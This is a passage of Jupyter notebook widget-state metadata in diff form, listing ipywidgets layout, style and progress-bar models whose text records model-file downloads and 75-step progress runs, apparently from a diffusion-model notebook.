"_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "63a7a29ac462471eb67b275c68faff42": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "64373eefa4884b3084975549efcbd7fe": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_d8b3f3c7b8394b5580d8541f20c090ae", + "IPY_MODEL_634af1f0b6894726bebb7b546c667169", + "IPY_MODEL_5b89e69b011a40918b1acc0adf141874" + ], + "layout": "IPY_MODEL_9c01417376444eed820394ef843c0be3" + } + }, + "6525d3514cee42f3bd14bdf898b63ad2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "659bd00aed7f4a41a843432966a1ccbf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_274e736175d34926a0c614192288e510", + "IPY_MODEL_a266a0d0bdde4a3aa09fec6a0a00abed", + "IPY_MODEL_f78f911cd0ac4cdc8fdcbcb29f1a201b" + ], + "layout": "IPY_MODEL_9e0fde0538f84469bd62e9ea9f589b4f" + } + }, + "665a3a25e6d543d79e2e321aec4954aa": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "66a8f48777064cab94ebdfb44044fec7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "67e1ee8ac39743d2a50db01595591f22": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_58bccc7add0a45d8b8640c42d89a864c", + "max": 13, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_b4209eed23cb45038a5c614bfe8bf3b6", + "value": 13 + } + }, + "682dc899e5ee4e24a9c0f1fc928fea6c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1ae88e18373a4322bddf0e51e5460a89", + "placeholder": "​", + "style": "IPY_MODEL_9b2140d07da744348068f013152b1160", + "value": " 75/75 [00:21<00:00, 3.37it/s]" + } + }, + "6a72b26cbdf041e7a8331fdc1642dee5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6c32232cfb734ac3a3204a22c414fc18": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7a4e5fdddcd34b6cb658b94db24ba474", + "max": 1893675621, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_e6942466051e4a6a97c36b56d8d4e0c2", + "value": 1893675621 + } + }, + "6d0c44b7df564b87a2a688d770188184": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_502d0b0ef4c549b485c049a2dae9b4f1", + "IPY_MODEL_67e1ee8ac39743d2a50db01595591f22", + "IPY_MODEL_419cb861b6e84999a3708fd19b0295c6" + ], + "layout": "IPY_MODEL_fcc7b1147ad94a01ae49b4268e85d310" + } + }, + "6f1c7458863047598f98861765f325dd": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "72fc113c125648538df5059fb578ae19": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9ba492d205294bc0a8d07985ed271358", + "placeholder": "​", + "style": "IPY_MODEL_0a49275d970741f9b19f24569b80491a", + "value": " 221M/221M [00:03<00:00, 63.9MB/s]" + } + }, + "76fd2fe6247a48b7b3a6cc6eef8c9fa7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_29da49469545454997e755839f8c156d", + "IPY_MODEL_58aa60b3b1af45d2bdd8870dedd3cb67", + "IPY_MODEL_f931d10a75ab4aafb1d6b92a0ba622b3" + ], + "layout": "IPY_MODEL_b67319578dc84245ad16cb8d25d3173c" + } + }, + "795329002e034ec4aead224cf74ea361": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7a4e5fdddcd34b6cb658b94db24ba474": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7a9ce1cc3d71457797b0b1ca2831d514": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "7ad5acf646b44af2a1d8558abbb59199": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7cc78829c6b744c380f52af44b49802a", + "placeholder": "​", + "style": "IPY_MODEL_03856828685f4f9791a0c00f9b4f5ed5", + "value": " 982/982 [00:00<00:00, 17.1kB/s]" + } + }, + "7c5bcff9ea9344dca52dbaa4a6545b50": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7cc78829c6b744c380f52af44b49802a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7cdde9f1b0f1403ababc0e3e120617c4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_238d055bf5ff4891b2e9c6aa28a89fad", + "max": 485, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_66a8f48777064cab94ebdfb44044fec7", + "value": 485 + } + }, + "7d3baaa3ab784895a59534261f43ce7d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "80aad8d6ac1b4b7780cd63deed9ceb11": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_0fcb664708324ec1bc56c4daa4a2dd15", + "IPY_MODEL_37e24969e35c4099933ab57fac8b2599", + "IPY_MODEL_efb86ed04a0d477794e70dc92219399b" + ], + "layout": "IPY_MODEL_3672f34ff79b417abb390592a3b9ed2b" + } + }, + "818b00fb8ff04eadb9ccd1bdfe192807": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_aea53b42c35947c58d2c113bd2043078", + "placeholder": "​", + "style": "IPY_MODEL_02ce6e12de0f4ff1ab8029cf16e5fb99", + "value": "Downloading (…)cheduler_config.json: 100%" + } + }, + "824b0b410fed4ea1b5bc7f88236fc3e8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c5f787d7f16542baa5a5657c3ecb14a0", + "placeholder": "​", + "style": "IPY_MODEL_be0a3bc217b04b2dbd06a90141c0dd35", + "value": " 75/75 [00:20<00:00, 3.66it/s]" + } + }, + "8384173365364cd5996018a775b167e2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "895dd88b169e4688a51873bb1b3d2cd9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "8b24a6ee676942ddaa27f44902ef2ac5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c081010577e7490eae450d69b0458a74", + "placeholder": "​", + "style": "IPY_MODEL_d011d28093544ae692f90a7380908275", + "value": "Downloading (…)440/unet/config.json: 100%" + } + }, + "8d91958b962649479d9d85927ea0e3e0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_2f1c260b17204c08870bac68408944c4", + "IPY_MODEL_9f17b8692b824c0cb9a98cea381699a9", + "IPY_MODEL_9a8c5af4272b4da0ba4aafa4da89817b" + ], + "layout": "IPY_MODEL_e04b95f508b7431c9f4ee9159e3b5b13" + } + }, + "8dd862f24b164fc68664c30b3d241e62": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8f487d06f9834f1b8dd0a63ffec62436": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "90c7965cfde540158d9e7cb049c2d7d3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "91f32130b9fc47ceaae99521c0b70015": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9a8c5af4272b4da0ba4aafa4da89817b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_417a14ed83ba4535bf47a39b9298aa4f", + "placeholder": "​", + "style": "IPY_MODEL_c797a3a49d1d44598e8810817eac04f6", + "value": " 525k/525k [00:00<00:00, 2.19MB/s]" + } + }, + "9af01c4399c74223b5d7f94bd48d6952": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9b2140d07da744348068f013152b1160": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9ba492d205294bc0a8d07985ed271358": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9c01417376444eed820394ef843c0be3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9c2ff534109548fc8cab92f3b0aefc71": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": 